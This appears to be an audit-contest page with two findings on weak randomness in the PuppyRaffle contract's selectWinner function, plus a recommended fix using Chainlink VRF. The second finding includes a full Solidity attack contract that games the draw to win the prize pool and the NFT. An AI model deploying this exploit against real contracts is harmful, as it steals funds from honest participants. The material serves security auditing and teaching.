Root cause: PuppyRaffle::selectWinner derives randomness from msg.sender, block.timestamp and block.difficulty, all of which are known to the caller at call time, while selectWinner itself is permissionless.
Impact: an attacker can compute the winner before broadcasting and call selectWinner only in the blocks where they win, taking the prize pool at will. The same flaw lets them mint a legendary puppy on demand.
The winner and the NFT rarity are meant to be unpredictable, so that every entrant has the stake-weighted chance the protocol advertises (70/25/5).
Both values are computed from data the caller fully observes before the transaction executes. msg.sender is chosen by the attacker, and block.timestamp / block.difficulty are readable on-chain inside the same transaction. Because selectWinner has no access control, the attacker evaluates the outcome first and simply does not broadcast a losing call.
Likelihood:
Occurs on every draw. selectWinner is external with no access control, so any address can call it once the duration has elapsed.
The attacker needs no privilege and no capital beyond one entranceFee: a contract reads block.timestamp and block.difficulty, recomputes the index, and reverts when it would lose, costing only gas.
Impact:
The attacker wins the prize pool of every round they choose to settle, so 80% of all entry fees flow to them instead of an honest participant.
Rarity is equally forced, so the legendary puppy (advertised at 5%) is minted on demand, destroying the NFT's scarcity.
1 — the winner is known before the call. The index is recomputed outside the contract and matches the actual winner:
2 — the attacker only ever draws when they win. Losing draws are never broadcast, so there is no downside:
In the run, the predictor declined to draw and previousWinner stayed address(0): no losing draw ever reached the chain. The attacker simply waits for the next block and re-evaluates.
Both tests pass on the audited commit with forge test.
On-chain values cannot be a source of randomness. Use a verifiable external source, for example Chainlink VRF, and split the draw into a request and a fulfilment:
A commit-reveal scheme is an alternative, but it must not settle on values the settling caller controls. Whatever the source, the rarity must be drawn from the same verified randomness rather than a second on-chain hash.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.